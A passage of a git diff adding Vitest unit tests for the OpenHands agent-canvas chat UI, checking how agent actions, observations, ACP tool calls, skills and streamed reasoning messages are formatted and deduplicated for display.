+    });
+
+    it("pretty-prints MCP arguments", () => {
+      const event = makeActionEvent({
+        kind: "MCPToolAction",
+        data: {
+          repository: "OpenHands/agent-canvas",
+          labels: ["tests", "mutation"],
+        },
+      });
+
+      expect(getActionContent(event)).toBe(
+        '**MCP Tool Call**\n\n**Arguments:**\n```json\n{\n  "repository": "OpenHands/agent-canvas",\n  "labels": [\n    "tests",\n    "mutation"\n  ]\n}\n```',
+      );
+    });
+
+    it("shows an invoked skill name", () => {
+      const event = makeActionEvent({
+        kind: "InvokeSkillAction",
+        name: "mutation-testing",
+      });
+
+      expect(getActionContent(event)).toBe("**Skill:** `mutation-testing`");
+    });
+
+    it("omits content when an invoked skill has no name", () => {
+      const event = makeActionEvent({
+        kind: "InvokeSkillAction",
+        name: "",
+      });
+
+      expect(getActionContent(event)).toBe("");
+    });
+  });
+
+  describe("task plans", () => {
+    it("shows a non-plan task-tracker command without a task list", () => {
+      const event = makeActionEvent({
+        kind: "TaskTrackerAction",
+        command: "view",
+        task_list: [],
+      });
+
+      expect(getActionContent(event)).toBe("**Command:** `view`");
+    });
+
+    it("labels an empty plan", () => {
+      const event = makeActionEvent({
+        kind: "TaskTrackerAction",
+        command: "plan",
+        task_list: [],
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Command:** `plan`\n\n**Task List:** Empty",
+      );
+    });
+
+    it("formats a single task with its status and notes", () => {
+      const event = makeActionEvent({
+        kind: "TaskTrackerAction",
+        command: "plan",
+        task_list: [
+          {
+            title: "Add focused coverage",
+            notes: "Exercise observable formatting",
+            status: "todo",
+          },
+        ],
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Command:** `plan`\n\n**Task List (1 item):**\n\n1. ⏳ **[TODO]** Add focused coverage\n   *Notes: Exercise observable formatting*",
+      );
+    });
+
+    it("formats multiple statuses and preserves an unknown runtime status", () => {
+      const event = makeActionEvent({
+        kind: "TaskTrackerAction",
+        command: "plan",
+        task_list: [
+          {
+            title: "Run coverage",
+            notes: "",
+            status: "in_progress",
+          },
+          {
+            title: "Run mutation tests",
+            notes: "Record the score",
+            status: "done",
+          },
+          {
+            title: "Review external state",
+            notes: "",
+            status: "blocked",
+          },
+        ],
+      } as unknown as Action);
+
+      expect(getActionContent(event)).toBe(
+        "**Command:** `plan`\n\n**Task List (3 items):**\n\n1. 🔄 **[IN PROGRESS]** Run coverage\n2. ✅ **[DONE]** Run mutation tests\n   *Notes: Record the score*\n3. ❓ **[BLOCKED]** Review external state",
+      );
+    });
+  });
+
+  describe("browser actions", () => {
+    it("shows navigation with and without a new tab", () => {
+      const currentTab = makeActionEvent({
+        kind: "BrowserNavigateAction",
+        url: "https://example.com/current",
+        new_tab: false,
+      });
+      const newTab = makeActionEvent({
+        kind: "BrowserNavigateAction",
+        url: "https://example.com/new",
+        new_tab: true,
+      });
+
+      expect(getActionContent(currentTab)).toBe(
+        "Browsing https://example.com/current",
+      );
+      expect(getActionContent(newTab)).toBe(
+        "Browsing https://example.com/new\n**New Tab:** Yes",
+      );
+    });
+
+    it("shows click targets with and without a new tab", () => {
+      const currentTab = makeActionEvent({
+        kind: "BrowserClickAction",
+        index: 17,
+        new_tab: false,
+      });
+      const newTab = makeActionEvent({
+        kind: "BrowserClickAction",
+        index: 23,
+        new_tab: true,
+      });
+
+      expect(getActionContent(currentTab)).toBe("**Element Index:** 17");
+      expect(getActionContent(newTab)).toBe(
+        "**Element Index:** 23\n**New Tab:** Yes",
+      );
+    });
+
+    it("shows short typed text in full", () => {
+      const event = makeActionEvent({
+        kind: "BrowserTypeAction",
+        index: 4,
+        text: "exactly what the user typed",
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Element Index:** 4\n**Text:** exactly what the user typed",
+      );
+    });
+
+    it("truncates typed text longer than 50 characters", () => {
+      const event = makeActionEvent({
+        kind: "BrowserTypeAction",
+        index: 9,
+        text: `${"x".repeat(50)}tail`,
+      });
+
+      expect(getActionContent(event)).toBe(
+        `**Element Index:** 9\n**Text:** ${"x".repeat(50)}...`,
+      );
+    });
+
+    it("shows typed text containing exactly 50 characters in full", () => {
+      const text = "y".repeat(50);
+      const event = makeActionEvent({
+        kind: "BrowserTypeAction",
+        index: 6,
+        text,
+      });
+
+      expect(getActionContent(event)).toBe(
+        `**Element Index:** 6\n**Text:** ${text}`,
+      );
+    });
+
+    it("shows whether browser state includes a screenshot", () => {
+      const withScreenshot = makeActionEvent({
+        kind: "BrowserGetStateAction",
+        include_screenshot: true,
+      });
+      const withoutScreenshot = makeActionEvent({
+        kind: "BrowserGetStateAction",
+        include_screenshot: false,
+      });
+
+      expect(getActionContent(withScreenshot)).toBe(
+        "**Include Screenshot:** Yes",
+      );
+      expect(getActionContent(withoutScreenshot)).toBe("");
+    });
+
+    it("shows both requested browser-content options", () => {
+      const event = makeActionEvent({
+        kind: "BrowserGetContentAction",
+        extract_links: true,
+        start_from_char: 125,
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Extract Links:** Yes\n**Start From Character:** 125",
+      );
+    });
+
+    it("omits browser-content options when neither is requested", () => {
+      const event = makeActionEvent({
+        kind: "BrowserGetContentAction",
+        extract_links: false,
+        start_from_char: 0,
+      });
+
+      expect(getActionContent(event)).toBe("");
+    });
+
+    it("shows the scroll direction", () => {
+      const event = makeActionEvent({
+        kind: "BrowserScrollAction",
+        direction: "up",
+      });
+
+      expect(getActionContent(event)).toBe("**Direction:** up");
+    });
+
+    it.each(["BrowserGoBackAction", "BrowserListTabsAction"] as const)(
+      "does not invent details for %s",
+      (kind) => {
+        expect(getActionContent(makeActionEvent({ kind }))).toBe("");
+      },
+    );
+
+    it("identifies the tab being selected", () => {
+      const event = makeActionEvent({
+        kind: "BrowserSwitchTabAction",
+        tab_id: "A1B2",
+      });
+
+      expect(getActionContent(event)).toBe("**Tab ID:** A1B2");
+    });
+
+    it("identifies the tab being closed", () => {
+      const event = makeActionEvent({
+        kind: "BrowserCloseTabAction",
+        tab_id: "C3D4",
+      });
+
+      expect(getActionContent(event)).toBe("**Tab ID:** C3D4");
+    });
+  });
+
+  describe("search actions", () => {
+    it("shows a glob pattern and its search path", () => {
+      const event = makeActionEvent({
+        kind: "GlobAction",
+        pattern: "src/**/*.ts",
+        path: "/workspace/project",
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Pattern:** `src/**/*.ts`\n**Path:** `/workspace/project`",
+      );
+    });
+
+    it("shows a grep pattern, path, and include filter", () => {
+      const event = makeActionEvent({
+        kind: "GrepAction",
+        pattern: "getActionContent",
+        path: "/workspace/project/src",
+        include: "*.ts",
+      });
+
+      expect(getActionContent(event)).toBe(
+        "**Pattern:** `getActionContent`\n**Path:** `/workspace/project/src`\n**Include:** `*.ts`",
+      );
+    });
+
+    it("omits empty search criteria", () => {
+      const event = makeActionEvent({
+        kind: "GrepAction",
+        pattern: "",
+        path: null,
+        include: null,
+      });
+
+      expect(getActionContent(event)).toBe("");
+    });
+  });
+
+  it("falls back to the complete event JSON for other action kinds", () => {
+    const event = makeActionEvent({
+      kind: "TaskAction",
+      prompt: "Review the mutation report",
+      subagent_type: "general",
+      description: "Review mutation results",
+      resume: null,
+    });
+
+    expect(getActionContent(event)).toBe(
+      `\`\`\`json\n${JSON.stringify(event, null, 2)}\n\`\`\``,
+    );
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx b/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a9c27f8d57bce05baa7280ffdafde536639bd65a
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx
@@ -0,0 +1,285 @@
+import { describe, expect, it } from "vitest";
+import { fireEvent, screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import {
+  ActionEvent,
+  MessageEvent,
+  ObservationEvent,
+  OpenHandsEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+import { handleEventForUI } from "#/utils/handle-event-for-ui";
+import { Messages } from "#/components/conversation-events/chat/messages";
+
+// Regression for issue #1534. With stream=true the agent streams its
+// pre-tool-call text as a StreamingDeltaEvent and then emits an intermediate
+// ActionEvent whose `thought` is that same text. The chat hoists the action's
+// thought into its own message, so the leftover streaming delta used to render
+// the identical text a second time. This test drives the real reducer
+// (handleEventForUI) and renders the real <Messages> tree to assert the text
+// shows exactly once.
+
+const THOUGHT =
+  "I'll create a webpage explaining what OpenHands can do. " +
+  "Let me first gather accurate information from the official documentation.";
+
+const countOccurrences = (haystack: string, needle: string): number =>
+  haystack.split(needle).length - 1;
+
+const userMessage: MessageEvent = {
+  id: "user-1",
+  timestamp: "2026-06-12T12:00:00Z",
+  source: "user",
+  llm_message: {
+    role: "user",
+    content: [{ type: "text", text: "Create a basic webpage." }],
+  },
+  activated_skills: [],
+  extended_content: [],
+};
+
+// The reasoning streamed as a delta; many models carry reasoning ONLY here, so
+// the collapsible "Thinking" must survive the reconciliation.
+const streamingDelta: StreamingDeltaEvent = {
+  id: "delta-1",
+  kind: "StreamingDeltaEvent",
+  timestamp: "2026-06-12T12:00:01Z",
+  source: "agent",
+  content: THOUGHT,
+  reasoning_content: "Considering the request before acting.",
+};
+
+const action: ActionEvent = {
+  id: "action-1",
+  timestamp: "2026-06-12T12:00:02Z",
+  source: "agent",
+  thought: [{ type: "text", text: THOUGHT }],
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command: "ls",
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: "call_1",
+  tool_call: {
+    id: "call_1",
+    type: "function",
+    function: { name: "execute_bash", arguments: '{"command":"ls"}' },
+  },
+  llm_response_id: "resp-1",
+  security_risk: SecurityRisk.UNKNOWN,
+};
+
+const observation: ObservationEvent = {
+  id: "obs-1",
+  timestamp: "2026-06-12T12:00:03Z",
+  source: "environment",
+  tool_name: "execute_bash",
+  tool_call_id: "call_1",
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [{ type: "text", text: "file.txt\n" }],
+    command: "ls",
+    exit_code: 0,
+    error: false,
+    timeout: false,
+    metadata: {
+      exit_code: 0,
+      pid: 1,
+      username: "u",
+      hostname: "h",
+      working_dir: "/",
+      py_interpreter_path: null,
+      prefix: "",
+      suffix: "",
+    },
+  },
+  action_id: "action-1",
+};
+
+const reduce = (events: OpenHandsEvent[]): OpenHandsEvent[] =>
+  events.reduce<OpenHandsEvent[]>((ui, ev) => handleEventForUI(ev, ui), []);
+
+describe("issue #1534 — streamed intermediate message duplication", () => {
+  it("renders the intermediate thought text exactly once", () => {
+    const allEvents = [userMessage, streamingDelta, action, observation];
+    const uiEvents = reduce(allEvents);
+
+    const { container } = renderWithProviders(
+      <Messages messages={uiEvents} allEvents={allEvents} />,
+    );
+
+    expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+  });
+
+  it("keeps the streamed reasoning visible (Thinking section survives)", () => {
+    const allEvents = [userMessage, streamingDelta, action, observation];
+    const uiEvents = reduce(allEvents);
+
+    renderWithProviders(<Messages messages={uiEvents} allEvents={allEvents} />);
+
+    // The collapsible "Thinking" section is still rendered (collapsed by
+    // default); expanding it reveals the reasoning that was streamed on the
+    // delta, proving the reconciliation kept the reasoning.
+    fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+    expect(
+      screen.getByTestId("collapsible-thinking-content").textContent ?? "",
+    ).toContain("Considering the request before acting.");
+  });
+
+  it("renders a single Thinking section when the action carries its own reasoning", () => {
+    // When the finalized action also reports reasoning, the streamed delta's
+    // reasoning would duplicate the action's "Thinking" — so the delta is
+    // dropped and only one Thinking section renders.
+    const reasoningAction: ActionEvent = {
+      ...action,
+      reasoning_content: "Considering the request before acting.",
+    };
+    const allEvents = [
+      userMessage,
+      streamingDelta,
+      reasoningAction,
+      observation,
+    ];
+    const uiEvents = reduce(allEvents);
+
+    const { container } = renderWithProviders(
+      <Messages messages={uiEvents} allEvents={allEvents} />,
+    );
+
+    expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+    expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+  });
+
+  it("renders the canonical final message and its metadata exactly once", () => {
+    const finalMessage: MessageEvent = {
+      id: "agent-msg-1",
+      timestamp: "2026-06-12T12:00:02Z",
+      source: "agent",
+      llm_message: {
+        role: "assistant",
+        content: [{ type: "text", text: THOUGHT }],
+      },
+      activated_skills: [],
+      extended_content: [],
+      critic_result: {
+        score: 0.72,
+        message: null,
+        metadata: null,
+      },
+    };
+    const allEvents = [userMessage, streamingDelta, finalMessage];
+    const uiEvents = reduce(allEvents);
+
+    expect(uiEvents.at(-1)).toBe(finalMessage);
+
+    const { container } = renderWithProviders(
+      <Messages messages={uiEvents} allEvents={allEvents} />,
+    );
+
+    expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+    expect(screen.getByLabelText("Score: 72.0%")).toBeInTheDocument();
+    fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+    expect(
+      screen.getByTestId("collapsible-thinking-content"),
+    ).toHaveTextContent("Considering the request before acting.");
+  });
+
+  it("renders once when streamed text has leading whitespace", () => {
+    const leadingWhitespaceDelta: StreamingDeltaEvent = {
+      ...streamingDelta,
+      content: `\n${THOUGHT}`,
+    };
+    const finalMessage: MessageEvent = {
+      id: "agent-msg-leading-whitespace",
+      timestamp: "2026-06-12T12:00:02Z",
+      source: "agent",
+      llm_message: {
+        role: "assistant",
+        content: [{ type: "text", text: THOUGHT }],
+      },
+      activated_skills: [],
+      extended_content: [],
+    };
+    const allEvents = [userMessage, leadingWhitespaceDelta, finalMessage];
+    const uiEvents = reduce(allEvents);
+
+    expect(uiEvents.at(-1)).toBe(finalMessage);
+
+    const { container } = renderWithProviders(
+      <Messages messages={uiEvents} allEvents={allEvents} />,
+    );
+
+    expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+  });
+});
+
+// A model that streams its reasoning but whose action `thought` does not repeat
+// that text used to render the delta's reasoning and the action's own reasoning
+// as two identical "Thinking" bubbles.
+describe("duplicate Thinking blocks", () => {
+  const REASONING =
+    "Let me read the full PRD to understand all the requirements. " +
+    "I need to see sections that were clipped.";
+
+  const reasoningOnlyDelta: StreamingDeltaEvent = {
+    id: "delta-reasoning-only",
+    kind: "StreamingDeltaEvent",
+    timestamp: "2026-06-12T12:00:01Z",
+    source: "agent",
+    content: null,
+    reasoning_content: REASONING,
+  };
+
+  const reasoningAction: ActionEvent = {
+    ...action,
+    thought: [],
+    reasoning_content: REASONING,
+  };
+
+  it("renders the reasoning in a single Thinking section", () => {
+    const allEvents = [
+      userMessage,
+      reasoningOnlyDelta,
+      reasoningAction,
+      observation,
+    ];
+    const uiEvents = reduce(allEvents);
+
+    const { container } = renderWithProviders(
+      <Messages messages={uiEvents} allEvents={allEvents} />,
+    );
+
+    expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+
+    fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+    expect(
+      screen.getByTestId("collapsible-thinking-content"),
+    ).toHaveTextContent(REASONING);
+    expect(countOccurrences(container.textContent ?? "", REASONING)).toBe(1);
+  });
+
+  it("keeps the streamed reasoning when the action carries none", () => {
+    const plainAction: ActionEvent = { ...action, thought: [] };
+    const allEvents = [
+      userMessage,
+      reasoningOnlyDelta,
+      plainAction,
+      observation,
+    ];
+    const uiEvents = reduce(allEvents);
+
+    renderWithProviders(<Messages messages={uiEvents} allEvents={allEvents} />);
+
+    // The delta is the sole reasoning carrier, so its Thinking must survive.
+    expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+    fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+    expect(
+      screen.getByTestId("collapsible-thinking-content"),
+    ).toHaveTextContent(REASONING);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0aa35d0ab8657471361b1a6a9125c947471e0db4
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts
@@ -0,0 +1,79 @@
+import { describe, expect, it } from "vitest";
+import {
+  createSkillReadyEvent,
+  isSkillReadyEvent,
+} from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event";
+import { MessageEvent } from "#/types/agent-server/core";
+
+const makeMessageEvent = (
+  overrides: Partial<MessageEvent> = {},
+): MessageEvent =>
+  ({
+    id: "msg-1",
+    timestamp: "2024-01-01T00:00:00Z",
+    source: "user",
+    message: { role: "user", content: [{ type: "text", text: "test" }] },
+    activated_skills: [],
+    extended_content: [],
+    ...overrides,
+  }) as MessageEvent;
+
+describe("createSkillReadyEvent", () => {
+  it("includes _skillReadyItems with structured skill data", () => {
+    const event = makeMessageEvent({
+      activated_skills: ["docker"],
+      extended_content: [
+        { type: "text", text: "<EXTRA_INFO>Docker guide</EXTRA_INFO>" },
+      ],
+    });
+
+    const result = createSkillReadyEvent(event);
+
+    expect(result._skillReadyItems).toEqual([
+      { name: "docker", content: "Docker guide" },
+    ]);
+  });
+
+  it("sets correct id and source", () => {
+    const event = makeMessageEvent({
+      id: "msg-42",
+      activated_skills: ["skill1"],
+      extended_content: [
+        { type: "text", text: "<EXTRA_INFO>content</EXTRA_INFO>" },
+      ],
+    });
+
+    const result = createSkillReadyEvent(event);
+
+    expect(result.id).toBe("msg-42-skill-ready");
+    expect(result.source).toBe("agent");
+    expect(result._isSkillReadyEvent).toBe(true);
+  });
+
+  it("throws when no skills and no extended content", () => {
+    const event = makeMessageEvent();
+
+    expect(() => createSkillReadyEvent(event)).toThrow(
+      "Cannot create skill ready event",
+    );
+  });
+});
+
+describe("isSkillReadyEvent", () => {
+  it("returns true for valid SkillReadyEvent", () => {
+    const event = makeMessageEvent({
+      activated_skills: ["skill1"],
+      extended_content: [
+        { type: "text", text: "<EXTRA_INFO>content</EXTRA_INFO>" },
+      ],
+    });
+
+    expect(isSkillReadyEvent(createSkillReadyEvent(event))).toBe(true);
+  });
+
+  it("returns false for plain objects", () => {
+    expect(isSkillReadyEvent({})).toBe(false);
+    expect(isSkillReadyEvent(null)).toBe(false);
+    expect(isSkillReadyEvent({ _isSkillReadyEvent: false })).toBe(false);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b686f18fc2875e8eb71630a56c5d8c08d826124e
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts
@@ -0,0 +1,219 @@
+import { describe, it, expect } from "vitest";
+import {
+  getACPToolCallContent,
+  getACPToolCallTitleKey,
+  stripRedundantTitlePrefix,
+} from "#/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content";
+import { getACPToolCallResult } from "#/components/conversation-events/chat/event-content-helpers/get-observation-result";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+
+const baseEvent: ACPToolCallEvent = {
+  kind: "ACPToolCallEvent",
+  id: "evt-1",
+  timestamp: "2026-04-16T19:32:29.828069",
+  source: "agent",
+  tool_call_id: "toolu_123",
+  title: "gh pr diff 490 --repo OpenHands/evaluation",
+  tool_kind: "execute",
+  status: "completed",
+  raw_input: { command: "gh pr diff 490 --repo OpenHands/evaluation" },
+  raw_output: "diff --git a/foo b/foo\n+added\n",
+  content: null,
+  is_error: false,
+};
+
+const makeEvent = (overrides: Partial<ACPToolCallEvent>): ACPToolCallEvent => ({
+  ...baseEvent,
+  ...overrides,
+});
+
+describe("getACPToolCallTitleKey", () => {
+  it.each([
+    ["execute", "ACTION_MESSAGE$ACP_RUN"],
+    ["edit", "ACTION_MESSAGE$ACP_EDIT"],
+    ["read", "ACTION_MESSAGE$ACP_READ"],
+    ["fetch", "ACTION_MESSAGE$ACP_FETCH"],
+    ["other", "ACTION_MESSAGE$ACP_TOOL"],
+  ] as const)("maps tool_kind=%s to %s", (toolKind, expectedKey) => {
+    expect(getACPToolCallTitleKey(makeEvent({ tool_kind: toolKind }))).toBe(
+      expectedKey,
+    );
+  });
+
+  it("falls back to ACP_TOOL when tool_kind is null", () => {
+    expect(getACPToolCallTitleKey(makeEvent({ tool_kind: null }))).toBe(
+      "ACTION_MESSAGE$ACP_TOOL",
+    );
+  });
+});
+
+describe("getACPToolCallContent", () => {
+  it("renders execute tool calls with Command: and Output: blocks, matching terminal observations", () => {
+    const content = getACPToolCallContent(baseEvent);
+
+    expect(content).toContain(
+      "Command: `gh pr diff 490 --repo OpenHands/evaluation`",
+    );
+    expect(content).toContain("Output:");
+    expect(content).toContain("```");
+    expect(content).toContain("diff --git a/foo b/foo");
+  });
+
+  it("renders non-execute tool calls with an Input: JSON block", () => {
+    const content = getACPToolCallContent(
+      makeEvent({
+        tool_kind: "edit",
+        raw_input: { path: "/workspace/foo.py", content: "print('hi')\n" },
+        raw_output: "ok",
+      }),
+    );
+
+    expect(content).toContain("Input:");
+    expect(content).toContain("```json");
+    expect(content).toContain('"path": "/workspace/foo.py"');
+    expect(content).toContain("Output:");
+    expect(content).toContain("ok");
+  });
+
+  it("uses **Error:** for the output block when is_error is true", () => {
+    const content = getACPToolCallContent(
+      makeEvent({ is_error: true, raw_output: "permission denied" }),
+    );
+
+    expect(content).toContain("**Error:**");
+    expect(content).toContain("permission denied");
+    expect(content).not.toContain("Output:\n```\npermission denied");
+  });
+
+  it("falls back to the shared no-output message when raw_output is empty", () => {
+    const content = getACPToolCallContent(
+      makeEvent({ raw_output: null, raw_input: { command: "true" } }),
+    );
+
+    // Mirrors getTerminalObservationContent which uses the same i18n key.
+    expect(content).toContain("Output:");
+    expect(content).toContain("OBSERVATION$COMMAND_NO_OUTPUT");
+  });
+
+  it("truncates very long output to MAX_CONTENT_LENGTH with an ellipsis", () => {
+    const huge = "x".repeat(5000);
+    const content = getACPToolCallContent(makeEvent({ raw_output: huge }));
+
+    // MAX_CONTENT_LENGTH = 1000 in shared.ts; mirror that budget.
+    expect(content).toMatch(/x{1000}\.\.\./);
+    expect(content).not.toMatch(/x{1001}/);
+  });
+
+  it("serialises structured raw_output as JSON", () => {
+    const content = getACPToolCallContent(
+      makeEvent({
+        tool_kind: "fetch",
+        raw_input: { url: "https://example.com" },
+        raw_output: { status: 200, body: "ok" },
+      }),
+    );
+
+    expect(content).toContain('"status": 200');
+    expect(content).toContain('"body": "ok"');
+  });
+});
+
+describe("stripRedundantTitlePrefix", () => {
+  // The i18n templates already wrap the title in a verb ("Reading
+  // <cmd>…</cmd>"); ACP servers like Claude Code emit titles that also
+  // carry a verb ("Read /Users/foo/bar"). Without the strip, the user
+  // sees "Reading Read /Users/foo/bar".
+
+  it("strips a leading 'Read' from read-tool titles (the headline regression)", () => {
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({
+          tool_kind: "read",
+          title: "Read /Users/foo/bar/file.py",
+        }),
+      ),
+    ).toBe("/Users/foo/bar/file.py");
+  });
+
+  it("strips 'Edit' and 'Write' from edit-tool titles", () => {
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: "edit", title: "Edit /workspace/foo.py" }),
+      ),
+    ).toBe("/workspace/foo.py");
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: "edit", title: "Write /workspace/foo.py" }),
+      ),
+    ).toBe("/workspace/foo.py");
+  });
+
+  it("strips 'Bash' and 'Run' from execute-tool titles", () => {
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: "execute", title: "Bash ls -la" }),
+      ),
+    ).toBe("ls -la");
+  });
+
+  it("leaves a title without the redundant prefix untouched", () => {
+    // The OpenHands ACP wrapper, for example, may already emit just the
+    // command. The strip should be a no-op in that case.
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: "execute", title: "gh pr view 416" }),
+      ),
+    ).toBe("gh pr view 416");
+  });
+
+  it("does not strip when the prefix is part of a longer word", () => {
+    // ``"Reads"`` isn't the verb we want to strip — it's a different
+    // token. Boundary-check via whitespace after the prefix prevents
+    // the strip from over-reaching.
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: "read", title: "Reads-from /foo" }),
+      ),
+    ).toBe("Reads-from /foo");
+  });
+
+  it("does not strip when tool_kind is null (unknown shape)", () => {
+    // Without a kind we can't know which prefixes are redundant; leave
+    // the title verbatim.
+    expect(
+      stripRedundantTitlePrefix(
+        makeEvent({ tool_kind: null, title: "Read /foo" }),
+      ),
+    ).toBe("Read /foo");
+  });
+
+  it("handles an empty title", () => {
+    expect(
+      stripRedundantTitlePrefix(makeEvent({ tool_kind: "read", title: "" })),
+    ).toBe("");
+  });
+});
+
+describe("getACPToolCallResult", () => {
+  it("returns success for completed, non-error events", () => {
+    expect(getACPToolCallResult(baseEvent)).toBe("success");
+  });
+
+  it("returns error for failed status", () => {
+    expect(getACPToolCallResult(makeEvent({ status: "failed" }))).toBe("error");
+  });
+
+  it("returns error when is_error is true regardless of status", () => {
+    expect(
+      getACPToolCallResult(makeEvent({ status: "completed", is_error: true })),
+    ).toBe("error");
+  });
+
+  it("returns undefined while a call is still in progress", () => {
+    // undefined → SuccessIndicator renders nothing, mirroring how a regular
+    // ActionEvent is displayed before its ObservationEvent arrives.
+    expect(getACPToolCallResult(makeEvent({ status: "in_progress" }))).toBe(
+      undefined,
+    );
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b67ebecb32f78f336ad5862ab07b7e1c5a2ea54b
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { getInvokeSkillItems } from "#/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items";
+import { ObservationEvent } from "#/types/agent-server/core";
+import { InvokeSkillObservation } from "#/types/agent-server/core/base/observation";
+
+const makeEvent = (
+  observation: Partial<InvokeSkillObservation>,
+): ObservationEvent<InvokeSkillObservation> =>
+  ({
+    id: "obs-skill",
+    timestamp: "2026-06-08T00:00:00.000Z",
+    source: "environment",
+    tool_name: "invoke_skill",
+    tool_call_id: "tool-skill",
+    action_id: "action-skill",
+    observation: {
+      kind: "InvokeSkillObservation",
+      skill_name: "worktree-switch",
+      content: [],
+      ...observation,
+    },
+  }) as ObservationEvent<InvokeSkillObservation>;
+
+describe("getInvokeSkillItems", () => {
+  it("returns a single item with the skill name and joined text content", () => {
+    const items = getInvokeSkillItems(
+      makeEvent({
+        skill_name: "worktree-switch",
+        content: [{ type: "text", text: "# Skill content" }],
+      }),
+    );
+
+    expect(items).toEqual([
+      { name: "worktree-switch", content: "# Skill content" },
+    ]);
+  });
+
+  it("joins multiple text blocks with newlines and trims", () => {
+    const items = getInvokeSkillItems(
+      makeEvent({
+        skill_name: "docker",
+        content: [
+          { type: "text", text: "  line one" },
+          { type: "text", text: "line two  " },
+        ],
+      }),
+    );
+
+    expect(items).toEqual([{ name: "docker", content: "line one\nline two" }]);
+  });
+
+  it("ignores non-text content blocks", () => {
+    const items = getInvokeSkillItems(
+      makeEvent({
+        skill_name: "docker",
+        content: [
+          { type: "image", image_urls: ["data:image/png;base64,abc"] },
+          { type: "text", text: "only text survives" },
+        ] as InvokeSkillObservation["content"],
+      }),
+    );
+
+    expect(items).toEqual([{ name: "docker", content: "only text survives" }]);
+  });
+
+  it("returns an empty array when there is no skill name and no content", () => {
+    const items = getInvokeSkillItems(
+      makeEvent({ skill_name: "", content: [] }),
+    );
+
+    expect(items).toEqual([]);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..07be8e344aecb1bc58290ab004ce5e2b1076691d
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts
@@ -0,0 +1,981 @@
+import { describe, it, expect } from "vitest";
+import { getObservationContent } from "#/components/conversation-events/chat/event-content-helpers/get-observation-content";
+import { ObservationEvent } from "#/types/agent-server/core";
+import {
+  BrowserObservation,
+  GlobObservation,
+  GrepObservation,
+} from "#/types/agent-server/core/base/observation";
+
+const makeObservationEvent = (
+  observation: Record<string, unknown>,
+): ObservationEvent =>
+  ({
+    id: "observation-formatting",
+    timestamp: "2024-01-01T00:00:00Z",
+    source: "environment",
+    tool_name: "tool",
+    tool_call_id: "tool-call",
+    action_id: "action",
+    observation,
+  }) as unknown as ObservationEvent;
+
+const terminalMetadata = (exitCode: number) => ({
+  exit_code: exitCode,
+  pid: 123,
+  username: "openhands",
+  hostname: "runtime",
+  working_dir: "/workspace",
+  py_interpreter_path: null,
+  prefix: "",
+  suffix: "",
+});
+
+describe("getObservationContent - BrowserObservation", () => {
+  it("should return output content when available", () => {
+    const mockEvent: ObservationEvent<BrowserObservation> = {
+      id: "test-id",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      tool_name: "browser_navigate",
+      tool_call_id: "call-id",
+      action_id: "action-id",
+      observation: {
+        kind: "BrowserObservation",
+        output: "Browser action completed",
+        error: null,
+        screenshot_data: "base64data",
+      },
+    };
+
+    const result = getObservationContent(mockEvent);
+
